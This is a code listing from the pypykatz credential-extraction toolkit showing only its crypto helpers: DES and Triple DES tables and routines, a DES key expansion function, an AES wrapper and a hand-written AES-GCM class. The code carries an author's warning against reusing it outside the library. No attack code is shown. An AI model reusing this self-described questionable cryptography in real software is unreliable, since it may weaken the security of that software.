254 mode -> Optional argument for encryption type, can be either pyDes.ECB
255 (Electronic Code Book), pyDes.CBC (Cypher Block Chaining)
256 IV -> Optional Initial Value bytes, must be supplied if using CBC mode.
257 Must be 8 bytes in length.
258 pad -> Optional argument, set the pad character (PAD_NORMAL) to use
259 during all encrypt/decrypt operations done with this instance.
260 padmode -> Optional argument, set the padding mode (PAD_NORMAL or
261 PAD_PKCS5) to use during all encrypt/decrypt operations done
262 with this instance.
263 """
264
265
266 # Permutation and translation tables for DES
267 __pc1 = [56, 48, 40, 32, 24, 16, 8,
268 0, 57, 49, 41, 33, 25, 17,
269 9, 1, 58, 50, 42, 34, 26,
270 18, 10, 2, 59, 51, 43, 35,
271 62, 54, 46, 38, 30, 22, 14,
272 6, 61, 53, 45, 37, 29, 21,
273 13, 5, 60, 52, 44, 36, 28,
274 20, 12, 4, 27, 19, 11, 3
275 ]
276
277 # number left rotations of pc1
278 __left_rotations = [
279 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1
280 ]
281
282 # permuted choice key (table 2)
283 __pc2 = [
284 13, 16, 10, 23, 0, 4,
285 2, 27, 14, 5, 20, 9,
286 22, 18, 11, 3, 25, 7,
287 15, 6, 26, 19, 12, 1,
288 40, 51, 30, 36, 46, 54,
289 29, 39, 50, 44, 32, 47,
290 43, 48, 38, 55, 33, 52,
291 45, 41, 49, 35, 28, 31
292 ]
293
294 # initial permutation IP
295 __ip = [57, 49, 41, 33, 25, 17, 9, 1,
296 59, 51, 43, 35, 27, 19, 11, 3,
297 61, 53, 45, 37, 29, 21, 13, 5,
298 63, 55, 47, 39, 31, 23, 15, 7,
299 56, 48, 40, 32, 24, 16, 8, 0,
300 58, 50, 42, 34, 26, 18, 10, 2,
301 60, 52, 44, 36, 28, 20, 12, 4,
302 62, 54, 46, 38, 30, 22, 14, 6
303 ]
304
305 # Expansion table for turning 32 bit blocks into 48 bits
306 __expansion_table = [
307 31, 0, 1, 2, 3, 4,
308 3, 4, 5, 6, 7, 8,
309 7, 8, 9, 10, 11, 12,
310 11, 12, 13, 14, 15, 16,
311 15, 16, 17, 18, 19, 20,
312 19, 20, 21, 22, 23, 24,
313 23, 24, 25, 26, 27, 28,
314 27, 28, 29, 30, 31, 0
315 ]
316
317 # The (in)famous S-boxes
318 __sbox = [
319 # S1
320 [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,
321 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,
322 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,
323 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13],
324
325 # S2
326 [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,
327 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,
328 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,
329 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9],
330
331 # S3
332 [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,
333 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,
334 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,
335 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12],
336
337 # S4
338 [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,
339 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,
340 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,
341 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14],
342
343 # S5
344 [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,
345 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,
346 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,
347 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3],
348
349 # S6
350 [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,
351 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,
352 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,
353 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13],
354
355 # S7
356 [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,
357 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,
358 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,
359 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12],
360
361 # S8
362 [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,
363 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,
364 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,
365 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11],
366 ]
367
368
369 # 32-bit permutation function P used on the output of the S-boxes
370 __p = [
371 15, 6, 19, 20, 28, 11,
372 27, 16, 0, 14, 22, 25,
373 4, 17, 30, 9, 1, 7,
374 23,13, 31, 26, 2, 8,
375 18, 12, 29, 5, 21, 10,
376 3, 24
377 ]
378
379 # final permutation IP^-1
380 __fp = [
381 39, 7, 47, 15, 55, 23, 63, 31,
382 38, 6, 46, 14, 54, 22, 62, 30,
383 37, 5, 45, 13, 53, 21, 61, 29,
384 36, 4, 44, 12, 52, 20, 60, 28,
385 35, 3, 43, 11, 51, 19, 59, 27,
386 34, 2, 42, 10, 50, 18, 58, 26,
387 33, 1, 41, 9, 49, 17, 57, 25,
388 32, 0, 40, 8, 48, 16, 56, 24
389 ]
390
391 # Type of crypting being done
392 ENCRYPT = 0x00
393 DECRYPT = 0x01
394
395 # Initialisation
396 def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):
397 # Sanity checking of arguments.
398 if len(key) != 8:
399 raise ValueError("Invalid DES key size. Key must be exactly 8 bytes long.")
400 _baseDes.__init__(self, mode, IV, pad, padmode)
401 self.key_size = 8
402
403 self.L = []
404 self.R = []
405 self.Kn = [ [0] * 48 ] * 16 # 16 48-bit keys (K1 - K16)
406 self.final = []
407
408 self.setKey(key)
409
410 def setKey(self, key):
411 """Will set the crypting key for this object. Must be 8 bytes."""
412 _baseDes.setKey(self, key)
413 self.__create_sub_keys()
414
415 def __String_to_BitList(self, data):
416 """Turn the string data, into a list of bits (1, 0)'s"""
417 if _pythonMajorVersion < 3:
418 # Turn the strings into integers. Python 3 uses a bytes
419 # class, which already has this behaviour.
420 data = [ord(c) for c in data]
421 l = len(data) * 8
422 result = [0] * l
423 pos = 0
424 for ch in data:
425 i = 7
426 while i >= 0:
427 if ch & (1 << i) != 0:
428 result[pos] = 1
429 else:
430 result[pos] = 0
431 pos += 1
432 i -= 1
433
434 return result
435
436 def __BitList_to_String(self, data):
437 """Turn the list of bits -> data, into a string"""
438 result = []
439 pos = 0
440 c = 0
441 while pos < len(data):
442 c += data[pos] << (7 - (pos % 8))
443 if (pos % 8) == 7:
444 result.append(c)
445 c = 0
446 pos += 1
447
448 if _pythonMajorVersion < 3:
449 return ''.join([ chr(c) for c in result ])
450 else:
451 return bytes(result)
452
453 def __permutate(self, table, block):
454 """Permutate this block with the specified table"""
455 return list(map(lambda x: block[x], table))
456
457 # Transform the secret key, so that it is ready for data processing
458 # Create the 16 subkeys, K[1] - K[16]
459 def __create_sub_keys(self):
460 """Create the 16 subkeys K[1] to K[16] from the given key"""
461 key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey()))
462 i = 0
463 # Split into Left and Right sections
464 self.L = key[:28]
465 self.R = key[28:]
466 while i < 16:
467 j = 0
468 # Perform circular left shifts
469 while j < des.__left_rotations[i]:
470 self.L.append(self.L[0])
471 del self.L[0]
472
473 self.R.append(self.R[0])
474 del self.R[0]
475
476 j += 1
477
478 # Create one of the 16 subkeys through pc2 permutation
479 self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R)
480
481 i += 1
482
483 def replace_K(self, K):
484 #print(self.Kn)
485 #input('above the original')
486 #print(K)
487 #input('above the replacement')
488 self.Kn = K
489
490 # Main part of the encryption algorithm, the number cruncher :)
491 def __des_crypt(self, block, crypt_type):
492 """Crypt the block of data through DES bit-manipulation"""
493 block = self.__permutate(des.__ip, block)
494 self.L = block[:32]
495 self.R = block[32:]
496
497 # Encryption starts from Kn[1] through to Kn[16]
498 if crypt_type == des.ENCRYPT:
499 iteration = 0
500 iteration_adjustment = 1
501 # Decryption starts from Kn[16] down to Kn[1]
502 else:
503 iteration = 15
504 iteration_adjustment = -1
505
506 i = 0
507 while i < 16:
508 # Make a copy of R[i-1], this will later become L[i]
509 tempR = self.R[:]
510
511 # Permutate R[i - 1] to start creating R[i]
512 self.R = self.__permutate(des.__expansion_table, self.R)
513
514 # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here
515 self.R = list(map(lambda x, y: x ^ y, self.R, self.Kn[iteration]))
516 B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], self.R[42:]]
517 # Optimization: Replaced below commented code with above
518 #j = 0
519 #B = []
520 #while j < len(self.R):
521 # self.R[j] = self.R[j] ^ self.Kn[iteration][j]
522 # j += 1
523 # if j % 6 == 0:
524 # B.append(self.R[j-6:j])
525
526 # Permutate B[1] to B[8] using the S-Boxes
527 j = 0
528 Bn = [0] * 32
529 pos = 0
530 while j < 8:
531 # Work out the offsets
532 m = (B[j][0] << 1) + B[j][5]
533 n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4]
534
535 # Find the permutation value
536 v = des.__sbox[j][(m << 4) + n]
537
538 # Turn value into bits, add it to result: Bn
539 Bn[pos] = (v & 8) >> 3
540 Bn[pos + 1] = (v & 4) >> 2
541 Bn[pos + 2] = (v & 2) >> 1
542 Bn[pos + 3] = v & 1
543
544 pos += 4
545 j += 1
546
547 # Permutate the concatination of B[1] to B[8] (Bn)
548 self.R = self.__permutate(des.__p, Bn)
549
550 # Xor with L[i - 1]
551 self.R = list(map(lambda x, y: x ^ y, self.R, self.L))
552 # Optimization: This now replaces the below commented code
553 #j = 0
554 #while j < len(self.R):
555 # self.R[j] = self.R[j] ^ self.L[j]
556 # j += 1
557
558 # L[i] becomes R[i - 1]
559 self.L = tempR
560
561 i += 1
562 iteration += iteration_adjustment
563
564 # Final permutation of R[16]L[16]
565 self.final = self.__permutate(des.__fp, self.R + self.L)
566 return self.final
567
568
569 # Data to be encrypted/decrypted
570 def crypt(self, data, crypt_type):
571 """Crypt the data in blocks, running it through des_crypt()"""
572
573 # Error check the data
574 if not data:
575 return ''
576 if len(data) % self.block_size != 0:
577 if crypt_type == des.DECRYPT: # Decryption must work on 8 byte blocks
578 raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.")
579 if not self.getPadding():
580 raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n. Try setting the optional padding character")
581 else:
582 data += (self.block_size - (len(data) % self.block_size)) * self.getPadding()
583 # print "Len of data: %f" % (len(data) / self.block_size)
584
585 if self.getMode() == CBC:
586 if self.getIV():
587 iv = self.__String_to_BitList(self.getIV())
588 else:
589 raise ValueError("For CBC mode, you must supply the Initial Value (IV) for ciphering")
590
591 # Split the data into blocks, crypting each one seperately
592 i = 0
593 dict = {}
594 result = []
595 #cached = 0
596 #lines = 0
597 while i < len(data):
598 # Test code for caching encryption results
599 #lines += 1
600 #if dict.has_key(data[i:i+8]):
601 #print "Cached result for: %s" % data[i:i+8]
602 # cached += 1
603 # result.append(dict[data[i:i+8]])
604 # i += 8
605 # continue
606
607 block = self.__String_to_BitList(data[i:i+8])
608
609 # Xor with IV if using CBC mode
610 if self.getMode() == CBC:
611 if crypt_type == des.ENCRYPT:
612 block = list(map(lambda x, y: x ^ y, block, iv))
613 #j = 0
614 #while j < len(block):
615 # block[j] = block[j] ^ iv[j]
616 # j += 1
617
618 processed_block = self.__des_crypt(block, crypt_type)
619
620 if crypt_type == des.DECRYPT:
621 processed_block = list(map(lambda x, y: x ^ y, processed_block, iv))
622 #j = 0
623 #while j < len(processed_block):
624 # processed_block[j] = processed_block[j] ^ iv[j]
625 # j += 1
626 iv = block
627 else:
628 iv = processed_block
629 else:
630 processed_block = self.__des_crypt(block, crypt_type)
631
632
633 # Add the resulting crypted block to our list
634 #d = self.__BitList_to_String(processed_block)
635 #result.append(d)
636 result.append(self.__BitList_to_String(processed_block))
637 #dict[data[i:i+8]] = d
638 i += 8
639
640 # print "Lines: %d, cached: %d" % (lines, cached)
641
642 # Return the full crypted string
643 if _pythonMajorVersion < 3:
644 return ''.join(result)
645 else:
646 return bytes.fromhex('').join(result)
647
648 def encrypt(self, data, pad=None, padmode=None):
649 """encrypt(data, [pad], [padmode]) -> bytes
650
651 data : Bytes to be encrypted
652 pad : Optional argument for encryption padding. Must only be one byte
653 padmode : Optional argument for overriding the padding mode.
654
655 The data must be a multiple of 8 bytes and will be encrypted
656 with the already specified key. Data does not have to be a
657 multiple of 8 bytes if the padding character is supplied, or
658 the padmode is set to PAD_PKCS5, as bytes will then added to
659 ensure the be padded data is a multiple of 8 bytes.
660 """
661 data = self._guardAgainstUnicode(data)
662 if pad is not None:
663 pad = self._guardAgainstUnicode(pad)
664 data = self._padData(data, pad, padmode)
665 return self.crypt(data, des.ENCRYPT)
666
667 def decrypt(self, data, pad=None, padmode=None):
668 """decrypt(data, [pad], [padmode]) -> bytes
669
670 data : Bytes to be decrypted
671 pad : Optional argument for decryption padding. Must only be one byte
672 padmode : Optional argument for overriding the padding mode.
673
674 The data must be a multiple of 8 bytes and will be decrypted
675 with the already specified key. In PAD_NORMAL mode, if the
676 optional padding character is supplied, then the un-encrypted
677 data will have the padding characters removed from the end of
678 the bytes. This pad removal only occurs on the last 8 bytes of
679 the data (last data block). In PAD_PKCS5 mode, the special
680 padding end markers will be removed from the data after decrypting.
681 """
682 data = self._guardAgainstUnicode(data)
683 if pad is not None:
684 pad = self._guardAgainstUnicode(pad)
685 data = self.crypt(data, des.DECRYPT)
686 return self._unpadData(data, pad, padmode)
687
688
689
690 #############################################################################
691 # Triple DES #
692 #############################################################################
693 class triple_des(_baseDes):
694 """Triple DES encryption/decrytpion class
695
696 This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or
697 the DES-EDE2 (when a 16 byte key is supplied) encryption methods.
698 Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes.
699
700 pyDes.des(key, [mode], [IV])
701
702 key -> Bytes containing the encryption key, must be either 16 or
703 24 bytes long
704 mode -> Optional argument for encryption type, can be either pyDes.ECB
705 (Electronic Code Book), pyDes.CBC (Cypher Block Chaining)
706 IV -> Optional Initial Value bytes, must be supplied if using CBC mode.
707 Must be 8 bytes in length.
708 pad -> Optional argument, set the pad character (PAD_NORMAL) to use
709 during all encrypt/decrypt operations done with this instance.
710 padmode -> Optional argument, set the padding mode (PAD_NORMAL or
711 PAD_PKCS5) to use during all encrypt/decrypt operations done
712 with this instance.
713 """
714 def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):
715 _baseDes.__init__(self, mode, IV, pad, padmode)
716 self.setKey(key)
717
718 def setKey(self, key):
719 """Will set the crypting key for this object. Either 16 or 24 bytes long."""
720 self.key_size = 24 # Use DES-EDE3 mode
721 if len(key) != self.key_size:
722 if len(key) == 16: # Use DES-EDE2 mode
723 self.key_size = 16
724 else:
725 raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long")
726 if self.getMode() == CBC:
727 if not self.getIV():
728 # Use the first 8 bytes of the key
729 self._iv = key[:self.block_size]
730 if len(self.getIV()) != self.block_size:
731 raise ValueError("Invalid IV, must be 8 bytes in length")
732 self.__key1 = des(key[:8], self._mode, self._iv,
733 self._padding, self._padmode)
734 self.__key2 = des(key[8:16], self._mode, self._iv,
735 self._padding, self._padmode)
736 if self.key_size == 16:
737 self.__key3 = self.__key1
738 else:
739 self.__key3 = des(key[16:], self._mode, self._iv,
740 self._padding, self._padmode)
741 _baseDes.setKey(self, key)
742
743 # Override setter methods to work on all 3 keys.
744
745 def setMode(self, mode):
746 """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC"""
747 _baseDes.setMode(self, mode)
748 for key in (self.__key1, self.__key2, self.__key3):
749 key.setMode(mode)
750
751 def setPadding(self, pad):
752 """setPadding() -> bytes of length 1. Padding character."""
753 _baseDes.setPadding(self, pad)
754 for key in (self.__key1, self.__key2, self.__key3):
755 key.setPadding(pad)
756
757 def setPadMode(self, mode):
758 """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
759 _baseDes.setPadMode(self, mode)
760 for key in (self.__key1, self.__key2, self.__key3):
761 key.setPadMode(mode)
762
763 def setIV(self, IV):
764 """Will set the Initial Value, used in conjunction with CBC mode"""
765 _baseDes.setIV(self, IV)
766 for key in (self.__key1, self.__key2, self.__key3):
767 key.setIV(IV)
768
769 def encrypt(self, data, pad=None, padmode=None):
770 """encrypt(data, [pad], [padmode]) -> bytes
771
772 data : bytes to be encrypted
773 pad : Optional argument for encryption padding. Must only be one byte
774 padmode : Optional argument for overriding the padding mode.
775
776 The data must be a multiple of 8 bytes and will be encrypted
777 with the already specified key. Data does not have to be a
778 multiple of 8 bytes if the padding character is supplied, or
779 the padmode is set to PAD_PKCS5, as bytes will then added to
780 ensure the be padded data is a multiple of 8 bytes.
781 """
782 ENCRYPT = des.ENCRYPT
783 DECRYPT = des.DECRYPT
784 data = self._guardAgainstUnicode(data)
785 if pad is not None:
786 pad = self._guardAgainstUnicode(pad)
787 # Pad the data accordingly.
788 data = self._padData(data, pad, padmode)
789 if self.getMode() == CBC:
790 self.__key1.setIV(self.getIV())
791 self.__key2.setIV(self.getIV())
792 self.__key3.setIV(self.getIV())
793 i = 0
794 result = []
795 while i < len(data):
796 block = self.__key1.crypt(data[i:i+8], ENCRYPT)
797 block = self.__key2.crypt(block, DECRYPT)
798 block = self.__key3.crypt(block, ENCRYPT)
799 self.__key1.setIV(block)
800 self.__key2.setIV(block)
801 self.__key3.setIV(block)
802 result.append(block)
803 i += 8
804 if _pythonMajorVersion < 3:
805 return ''.join(result)
806 else:
807 return bytes.fromhex('').join(result)
808 else:
809 data = self.__key1.crypt(data, ENCRYPT)
810 data = self.__key2.crypt(data, DECRYPT)
811 return self.__key3.crypt(data, ENCRYPT)
812
813 def decrypt(self, data, pad=None, padmode=None):
814 """decrypt(data, [pad], [padmode]) -> bytes
815
816 data : bytes to be encrypted
817 pad : Optional argument for decryption padding. Must only be one byte
818 padmode : Optional argument for overriding the padding mode.
819
820 The data must be a multiple of 8 bytes and will be decrypted
821 with the already specified key. In PAD_NORMAL mode, if the
822 optional padding character is supplied, then the un-encrypted
823 data will have the padding characters removed from the end of
824 the bytes. This pad removal only occurs on the last 8 bytes of
825 the data (last data block). In PAD_PKCS5 mode, the special
826 padding end markers will be removed from the data after
827 decrypting, no pad character is required for PAD_PKCS5.
828 """
829 ENCRYPT = des.ENCRYPT
830 DECRYPT = des.DECRYPT
831 data = self._guardAgainstUnicode(data)
832 if pad is not None:
833 pad = self._guardAgainstUnicode(pad)
834 if self.getMode() == CBC:
835 self.__key1.setIV(self.getIV())
836 self.__key2.setIV(self.getIV())
837 self.__key3.setIV(self.getIV())
838 i = 0
839 result = []
840 while i < len(data):
841 iv = data[i:i+8]
842 block = self.__key3.crypt(iv, DECRYPT)
843 block = self.__key2.crypt(block, ENCRYPT)
844 block = self.__key1.crypt(block, DECRYPT)
845 self.__key1.setIV(iv)
846 self.__key2.setIV(iv)
847 self.__key3.setIV(iv)
848 result.append(block)
849 i += 8
850 if _pythonMajorVersion < 3:
851 data = ''.join(result)
852 else:
853 data = bytes.fromhex('').join(result)
854 else:
855 data = self.__key3.crypt(data, DECRYPT)
856 data = self.__key2.crypt(data, ENCRYPT)
857 data = self.__key1.crypt(data, DECRYPT)
858 return self._unpadData(data, pad, padmode)
859
860 # from impacket
861 def expand_DES_key(key):
862 # Expand the key from a 7-byte password key into a 8-byte DES key
863 key = key[:7]
864 key += b'\x00'*(7-len(key))
865 s = (((key[0] >> 1) & 0x7f) << 1).to_bytes(1, byteorder = 'big')
866 s += (((key[0] & 0x01) << 6 | ((key[1] >> 2) & 0x3f)) << 1).to_bytes(1, byteorder = 'big')
867 s += (((key[1] & 0x03) << 5 | ((key[2] >> 3) & 0x1f)) << 1).to_bytes(1, byteorder = 'big')
868 s += (((key[2] & 0x07) << 4 | ((key[3] >> 4) & 0x0f)) << 1).to_bytes(1, byteorder = 'big')
869 s += (((key[3] & 0x0f) << 3 | ((key[4] >> 5) & 0x07)) << 1).to_bytes(1, byteorder = 'big')
870 s += (((key[4] & 0x1f) << 2 | ((key[5] >> 6) & 0x03)) << 1).to_bytes(1, byteorder = 'big')
871 s += (((key[5] & 0x3f) << 1 | ((key[6] >> 7) & 0x01)) << 1).to_bytes(1, byteorder = 'big')
872 s += ( (key[6] & 0x7f) << 1).to_bytes(1, byteorder = 'big')
873 return s
+0
-0
pypykatz/crypto/unified/__init__.py less more
(Empty file)
+0
-42
pypykatz/crypto/unified/aes.py less more
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 from pypykatz.crypto.aes import AESModeOfOperationCBC, AESModeOfOperationECB
7 from pypykatz.crypto.unified.common import SYMMETRIC_MODE
8
9
10 class AES:
11 def __init__(self, key, mode = SYMMETRIC_MODE.ECB, iv = None):
12 self.key = key
13 self.mode = mode
14 self.iv = iv
15 self.block_size = 16
16 self.ctx = None
17 self.setup()
18
19 def setup(self):
20 if self.mode == SYMMETRIC_MODE.ECB:
21 self.ctx = AESModeOfOperationECB(self.key)
22 elif self.mode == SYMMETRIC_MODE.CBC:
23 self.ctx = AESModeOfOperationCBC(self.key, iv = self.iv)
24 else:
25 raise Exception('Unknown mode!')
26
27 def encrypt(self, data):
28 if len(data) % self.block_size != 0:
29 raise Exception('Data size not matching blocksize!')
30 res = b''
31 for block in [data[i:i+self.block_size] for i in range(0, len(data), self.block_size)]: #terrible, terrible workaround
32 res += self.ctx.encrypt(block)
33 return res
34
35 def decrypt(self, data):
36 if len(data) % self.block_size != 0:
37 raise Exception('Data size not matching blocksize!')
38 res = b''
39 for block in [data[i:i+self.block_size] for i in range(0, len(data), self.block_size)]: #terrible, terrible workaround
40 res += self.ctx.decrypt(block)
41 return res
+0
-231
pypykatz/crypto/unified/aesgcm.py less more
0 #!/usr/bin/env python
1
2 """
3 Copyright (C) 2013 Bo Zhu http://about.bozhu.me
4
5 Permission is hereby granted, free of charge, to any person obtaining a
6 copy of this software and associated documentation files (the "Software"),
7 to deal in the Software without restriction, including without limitation
8 the rights to use, copy, modify, merge, publish, distribute, sublicense,
9 and/or sell copies of the Software, and to permit persons to whom the
10 Software is furnished to do so, subject to the following conditions:
11
12 The above copyright notice and this permission notice shall be included in
13 all copies or substantial portions of the Software.
14
15 THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
18 THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
20 FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
21 DEALINGS IN THE SOFTWARE.
22
23 SkelSec Note: the original code has been modified to work using questionable crypto libraries by myself who is not a cryptographer.
24 I'd say "use it with suspicion" but in truth: just do not use this at all outside of this library.
25 """
26
27 from pypykatz.crypto.aes import AESModeOfOperationCTR, AESModeOfOperationECB, Counter
28 from pypykatz.crypto.aes.blockfeeder import Decrypter, Encrypter, PADDING_NONE
29
30
31 # GF(2^128) defined by 1 + a + a^2 + a^7 + a^128
32 # Please note the MSB is x0 and LSB is x127
33 def gf_2_128_mul(x, y):
34 assert x < (1 << 128)
35 assert y < (1 << 128)
36 res = 0
37 for i in range(127, -1, -1):
38 res ^= x * ((y >> i) & 1) # branchless
39 x = (x >> 1) ^ ((x & 1) * 0xE1000000000000000000000000000000)
40 assert res < 1 << 128
41 return res
42
43
44 class InvalidInputException(Exception):
45 def __init__(self, msg):
46 self.msg = msg
47
48 def __str__(self):
49 return str(self.msg)
50
51
52 class InvalidTagException(Exception):
53 def __str__(self):
54 return 'The authenticaiton tag is invalid.'
55
56
57 # Galois/Counter Mode with AES-128 and 96-bit IV
58 class AES_GCM:
59 def __init__(self, master_key):
60 self.change_key(master_key)
61
62 def change_key(self, master_key):
63 #if len(master_key) != 16:
64 # raise InvalidInputException('Master key should be 128-bit')
65
66 self.__master_key = master_key
67 self.__aes_ecb = AESModeOfOperationECB(self.__master_key)
68 self.__auth_key = int.from_bytes(self.__aes_ecb.encrypt(b'\x00' * 16), byteorder='big', signed=False)
69
70 # precompute the table for multiplication in finite field
71 table = [] # for 8-bit
72 for i in range(16):
73 row = []
74 for j in range(256):
75 row.append(gf_2_128_mul(self.__auth_key, j << (8 * i)))
76 table.append(tuple(row))
77 self.__pre_table = tuple(table)
78
79 self.prev_init_value = None # reset
80
81 def __times_auth_key(self, val):
82 res = 0
83 for i in range(16):
84 res ^= self.__pre_table[i][val & 0xFF]
85 val >>= 8
86 return res
87
88 def __ghash(self, aad, txt):
89 len_aad = len(aad)
90 len_txt = len(txt)
91
92 # padding
93 if 0 == len_aad % 16:
94 data = aad
95 else:
96 data = aad + b'\x00' * (16 - len_aad % 16)
97 if 0 == len_txt % 16:
98 data += txt
99 else:
100 data += txt + b'\x00' * (16 - len_txt % 16)
101
102 tag = 0
103 assert len(data) % 16 == 0
104 for i in range(len(data) // 16):
105 tag ^= int.from_bytes(data[i * 16: (i + 1) * 16], byteorder='big', signed=False)
106 tag = self.__times_auth_key(tag)
107 # print 'X\t', hex(tag)
108 tag ^= ((8 * len_aad) << 64) | (8 * len_txt)
109 tag = self.__times_auth_key(tag)
110
111 return tag
112
113 def encrypt(self, init_value, plaintext, auth_data=b''):
114 if len(init_value) != 12:
115 raise InvalidInputException('IV should be 96-bit')
116 # a naive checking for IV reuse
117 if init_value == self.prev_init_value:
118 raise InvalidInputException('IV must not be reused!')
119 self.prev_init_value = init_value
120
121 len_plaintext = len(plaintext)
122
123 if len_plaintext > 0:
124 ctrval_init = init_value + b'\x00'*4
125 ctrval = int.from_bytes(ctrval_init, byteorder='big', signed=False)
126 counter = Counter(initial_value=ctrval+2) #+2 ????
127 aes_ctr = AESModeOfOperationCTR(self.__master_key, counter=counter)
128
129 if 0 != len_plaintext % 16:
130 padded_plaintext = plaintext + \
131 b'\x00' * (16 - len_plaintext % 16)
132 else:
133 padded_plaintext = plaintext
134 ciphertext = aes_ctr.encrypt(padded_plaintext)[:len_plaintext]
135
136 else:
137 ciphertext = b''
138
139 auth_tag = self.__ghash(auth_data, ciphertext)
140 iv_int = int.from_bytes(init_value, byteorder='big', signed=False)
141 iv_int = (iv_int << 32) | 1
142 iv_int = iv_int.to_bytes(16, byteorder='big', signed=False)
143 iv_int_enc = self.__aes_ecb.encrypt(iv_int)
144 iv_int_enc = int.from_bytes(iv_int_enc, byteorder='big', signed=False)
145
146 auth_tag ^= iv_int_enc
147
148 assert auth_tag < (1 << 128)
149 return ciphertext, auth_tag.to_bytes(16, byteorder='big', signed=False)
150
151 def decrypt(self, init_value, ciphertext, auth_tag, auth_data=b''):
152 if len(init_value) != 12:
153 raise InvalidInputException('IV should be 96-bit')
154 if len(auth_tag) != 16:
155 raise InvalidInputException('Tag should be 128-bit')
156
157 iv_int = int.from_bytes(init_value, byteorder='big', signed=False)
158 iv_int = (iv_int << 32) | 1
159 iv_int = iv_int.to_bytes(16, byteorder='big', signed=False)
160 iv_int_enc = self.__aes_ecb.encrypt(iv_int)
161 iv_int_enc = int.from_bytes(iv_int_enc, byteorder='big', signed=False)
162 auth_tag_verify = self.__ghash(auth_data, ciphertext) ^ iv_int_enc
163 auth_tag_verify = auth_tag_verify.to_bytes(16, byteorder='big', signed=False)
164 if auth_tag != auth_tag_verify:
165 raise InvalidTagException
166
167 len_ciphertext = len(ciphertext)
168 if len_ciphertext > 0:
169 ctrval_init = init_value + b'\x00'*4
170 ctrval = int.from_bytes(ctrval_init, byteorder='big', signed=False)
171 counter = Counter(initial_value=ctrval+2) #+2 ????
172 aes_ctr = AESModeOfOperationCTR(self.__master_key, counter=counter)
173
174 if 0 != len_ciphertext % 16:
175 padded_ciphertext = ciphertext + \
176 b'\x00' * (16 - len_ciphertext % 16)
177 else:
178 padded_ciphertext = ciphertext
179 plaintext = aes_ctr.decrypt(padded_ciphertext)[:len_ciphertext]
180
181 else:
182 plaintext = b''
